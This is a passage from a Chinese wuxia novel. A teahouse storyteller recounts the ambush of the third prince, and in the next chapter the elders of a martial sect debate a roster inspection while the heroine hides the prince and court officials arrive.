“话说咱这京城西郊，有那斜阳涧，有这翻驴沟子，有那连山成片的枫树林……还有大名鼎鼎，弟子各个儿身怀绝技的红叶谷！这仅离红叶谷五里地之远的雁飞崖顶，一夜之间竟多出了三具横尸！其中一人被大刀砍断脖子，几乎身首异处……” “咱接着再往下瞧，通往雁飞崖的必经之路上，更是有一行车马仆役，死得那是肚破肠流、横七竖八，血比西郊枫林秋天的红叶还要红……” 周围一圈客人听他三言两语道出死者惨状，顿觉面前的一盏老生普不香了。皱眉张口刚要骂，却听那说书的猛吸一口气，压低声音作神秘状。 “诸位客官可知道，这遇袭的是何人？！” 原本人声嘈杂的堂内一时间鸦雀无声，纷纷意识到这死者怕是什么不得了的人物，一双双眼睛都凝在了说书人因卖力喊叫而汗珠晶莹的脸上。 “正是当今圣上现今唯一的弟弟——三皇子殿下！” …… “却说这三皇子，乃先帝后宫 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“圣上得了消息是龙颜大怒，立刻下了两道圣旨，一是清剿山匪；二，便是寻人！圣上心系手足，那崖底的尸身既然无法确认身份，殿下便有可能是受了山下村民的搭救。现下巡检使大人正亲自督办此事，皇城司全力相协。想来现在，已然第一个寻到了红叶谷的门前……” 一知道死了几个人、死的是谁，听众们便没有耐心再听下去，七嘴八舌地讨论起来，动静盖过了说书人。 青衡面不改色地啜了一口茶，狂跳的心逐渐平和下来。 好在坊间流传的这个版本中，没有她和川乌的身影出现；好在崔简告知她的身份是真的，院中厢房里住的不是什么心怀鬼胎的危险人物。 若是真心唯恐手足相离，崔简还活着，自会在痊愈后找回皇宫去，何须这般挨家挨户地查，不是摆明了要绝人生路又是什么？ 她并非没怀疑过崔简的说辞，毕竟随手一救便将皇室血脉救回家里，任谁听了一时都不敢相信，遑论她这从未接触过朝堂皇亲的江湖孤女。 但自始至终都是她执意救崔简，而非崔简有意要靠上她和穿林堂，编个假身份来骗他们是没道理的，推断他心怀不轨未免太过牵强。 她便这样将崔简锁在房中，除了送饭换药和最初的问话之外不与他多闲话，只是偶尔会惦记着看上一眼。就像收容了一只不太健康的小猫小狗，将它独自关在某间房里，因它不能说话，只能勤快一些，时常去看看它状态如何。 事到如今，她不能再将崔简这样锁下去了。崔简最初的警告并非空穴来风，红叶谷是第一个，穿林堂未必是最后一个，这次甚至是巡检、皇城二司混编出动，想必过不了多久就会查上门来。 这一遭无法避免，管他伤是否痊愈，青衡必须在夜深人静时将崔简往所有可藏身的地方塞一遍。 醒木再次落下前，青衡隐约听见一片议论中说书人的“欲知后事如何，且听下回分解”，她知晓，这个故事不可再有下回。 青衡再无品茗的闲情逸致，撂下茶盏，起身走出茶楼。 9. 钟声 初次列席议事厅之时，霍晓被雷振岳一刀飞得心惊肉跳，川乌成为众人打嘴架的风口浪尖，萧执墨急于表现自己但未能如愿；只有青衡，像个没事人一样，听了场热闹就回去了。 “您老现在该宽心了，此次红叶谷可算遭了难，朝廷的人把整个红叶谷翻了个底朝天，近期怕是再无心张罗什么京城比武了。” 李素心为了博林祯一笑，好让他老人家少絮叨两句，忙把好消息搬了出来。 “……既然素心提起，诸位不觉得此事十分蹊跷吗？” 青衡默然低下头，这一回她反倒成了最心虚的那一个。 “朝廷到红叶谷大肆搜查了一番不假，可一无所获。什么兄弟情深，谁人不知陛下自少时就对三皇子忌惮有加？如若他果真藏匿于红叶谷中……那他们藏得也真够深的。他们为何要蹚三皇子这趟浑水，还是说红叶谷早已与这位殿下勾结，在明修暗度些什么旁的？” “于我们何干啊。”胖长老钱如海翻了个白眼，继续碾着手中的珠串。 “还有，就算红叶谷有意筹划下次比武，穿林堂又有何惧？难不成我们现下连拿得出手的弟子都没有，连门派之间最寻常的切磋还要退避三舍么？” 李素心在心里翻了个白眼：“……属下失言，属下失言。” “但若比武，此次怕是不同寻常，红叶谷的新谷主大抵要露面。”钱如海停止盘串。 林祯一拍圈椅扶手：“不然你们当我在忧心什么？！” “那就更不用怕了！穿林堂满山还找不出一个能打过那黄毛丫头的弟子吗？总不能因为咱们没见过她，她就真玄乎到打遍天下无敌手的程度了吧？”雷振岳不屑一顾地开腔，“实在不行，派楼长老和她打，反正她们岁数也差不多，不算以大欺小。” “你怎不亲自上啊？看看一记飞刀能不能打得她措手不及，莽夫。”钱如海哂道。 “老子一把年纪的人去打小姑娘，赢了岂不是胜之不武遭人耻笑？你个没长脑子的。” “好了，好了！雷长老说什么呢，即便是千光也比红叶谷主大了不少。且千光已是传功长老，就资历而言也是那位谷主的先辈。就算打赢了，我们也总归是不好看的。”李素心一如既往地打着圆场。 楼千光面不改色：“师姐说得是，我们只管派出真传弟子。若不敌红叶谷主，那也是红叶谷出了惊世奇才，而非穿林堂弟子武艺不精。” “……我迟早被你们气死。”林祯苦着脸。 川乌汗流浃背，青衡更是心事重重，霍晓仍然龇牙咧嘴地试图偷偷朝青衡作怪样，但她毫未发觉。 她不是不知道自己正在做什么，但听到长老会一心只等着看红叶谷的笑话，丝毫没想到那三皇子实则和自家弟子有牵扯，还是难免悄悄握紧拳头。 “罢了，无论红叶谷是否真的藏下了三皇子，此次搜查都足以让他们内部骚乱一阵子，比武的事，他们暂时不会先提。其余的，我们也只有静观其变。” “既然红叶谷这次闹得如此狼狈，我们不如顺势向朝廷表个忠心。派几个人，将我们已经着手内部清查的消息放出去，将核对过的弟子名册备好，若朝廷要查到这里来，我们直接奉上就是。”钱如海道。 “从西查到东，想必朝廷的人也是倦怠，见穿林堂如此配合，他们便不会像搜红叶谷那般兴师动众地查我们。” 林祯闻言，双眼发亮，挺直了无力的背脊。 “好！好想法。李长老今日开始核查名册，完全来得及吧？” “我召各位来议事厅，就是为了集思广益，难不成这一屋子的人，只有钱长老的脑子在转吗？” 李素心莫名其妙地又被安排了一堆事务，愁眉不展。 “还是钱长老高瞻远瞩……下属照做便是。” “这活跟我们刑堂可没关系，我干不了。”雷振岳忙不迭地推脱。 李素心看这大字不识几个的莽夫，本来也没指望他能帮上什么，不再劝说。 “别急着推辞，”林祯冷冷瞥他一眼，“清查人员，你刑堂不出力，难道要全部推给李长老的医堂？” 钱如海依然只把林祯对雷振岳的批判当耳旁风，慢条斯理地开口：“刚开春不久，镖局南来北往地也忙得很，不比冬天天寒地冻来得清闲，我还得多盯着点。” 好不容易开金口出了个点子已是不易，再加上钱如海把握穿林堂财政，平日的确公务缠身，林祯也不敢再指使他去干这枯燥无味的活。 李素心殷切地望向楼千光。 “我同师姐一起。” 李素心松了口气。 霍晓眼睛一亮——师傅有事要忙，那他们这几日岂不是可以偷点小懒了？ 她激动地再次望向青衡，试图与之对视，却见她与川乌仍然面色青白，嘴唇紧抿，一心只低头看脚尖，有些不明所以。 须臾之间，霍晓又猛然想通了一切。 钱长老出了个穿林堂内部先核查人员的馊主意，那青衡的小相好……岂不是要被揪出来示众？还正赶在这不太安宁的节骨眼上，青衡一片光明的长老之路怕是要毁于一旦了！ 沉湎男色果真会误了大事，她顿时无心再听长老会扯皮，替青衡冒冷汗。 萧执墨走了会儿神，发觉身侧三人皆是面色凝重，以为是自己错过了什么重要信息，仔细听了半天林祯对长老们的痛斥，没听出个所以然来。 …… “您辛苦了，这几日弟子会帮您照管医堂事务。” 散会后，川乌对李素心道。 李素心叹息着拍了拍川乌的肩膀：“好孩子，好孩子。” 左右距离练武场汇齐还有一刻钟，霍晓趁着此刻众人三两闲谈，左右观望一番，一把拉着青衡溜出议事厅，钻入石径旁的山林之中。 “师姐……？！” 今日天上阴云压得有些低，空气中的泥味儿也略重，一声闷雷从云层中砸下来，一副山雨欲来的态势。就连天公都不作美，霍晓听已经响了雷，只好拉着青衡多跑了几步，拐入另一条小路尽头的亭子中才停下。 青衡另有急事要做，被霍晓生拉硬拽到这人迹罕至的地方，更加不知所措。 霍晓胡乱抹了一把吹在脸上的沙土。 “……一看你就是还没把他送走，我有一计助你。” 青衡正打算赶 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“不管是真查还是假查，核查现在就已经开始，把他送出去也要被其他长老知道，你们早就没有回头路了！我们自己人不会深入搜寻，万一那朝廷的什么司真的破门而入呢？拎出你的小相好来，你就不止是在穿林堂中丢脸了！” “就给他个名分又能如何？陪着你在小厢房里挤了那么久，你还怕师傅知道怪罪吗？我都快可怜他了……” “师姐，并非如此……” 青衡不住地摆手，见霍晓如此为自己操心，她当下甚至没有心思真切地体会这份感动：“一刻钟是不是要到了？我们该去练武场了吧？” 余光瞥见亭檐滴下一粒水珠来，霍晓转头，将手伸到亭外。 她将手中接住的一滴晶莹摊开展示给青衡。 “下雨了，想必今天要休假了……唉，我竟被你这事搞得开心不起来！你就不能早点把他打发走吗？” “嘘……有人来。” 雨声渐大，敲打在瓦片上隔绝亭外的大半声响。青衡和霍晓一齐向小路那端看去，见萧执墨忙乱地以手遮雨，快步跑过来。 “你说什么？！”霍晓隔着哗哗一片雨声，向他凑近了些。 “你们在这做什么？”萧执墨手忙脚乱地躲入亭中，一面拍打着肩头布料尚未吸收的雨珠，一面皱眉催促两人。 “……快去古樟台点卯！朝廷来人了。” 他语毕时目光不经意扫过青衡的面庞，见她的眼睫似乎微不可察地颤了颤。 “朝，朝廷？！”霍晓目瞪口呆，“朝廷不是刚查完红叶谷一天吗？” 恰逢此时，雨幕之外四面八方响起悠长古旧的钟声。寻常聚众钟共响九下，节奏缓慢平稳，这一回却略显局促。雨势方才增大又突然减小，小路自雨雾蒙蒙的亭外山间重新展露在三人面前。 她身在亭瓦下，却仿佛也被雨浇了个透湿。脑海中快速估量，无论如何，她都无法在钟声结束后的一刻钟内从这里回到住处，完成该做的事，再不露痕迹地赶去点卯的古樟台。更何况，现下官兵应当已经入了山门。 “再拖就要误事了，” 萧执墨多看了青衡一眼，见她神情除却迎接官兵的严肃外，并无其他异常。 “……快些走吧。”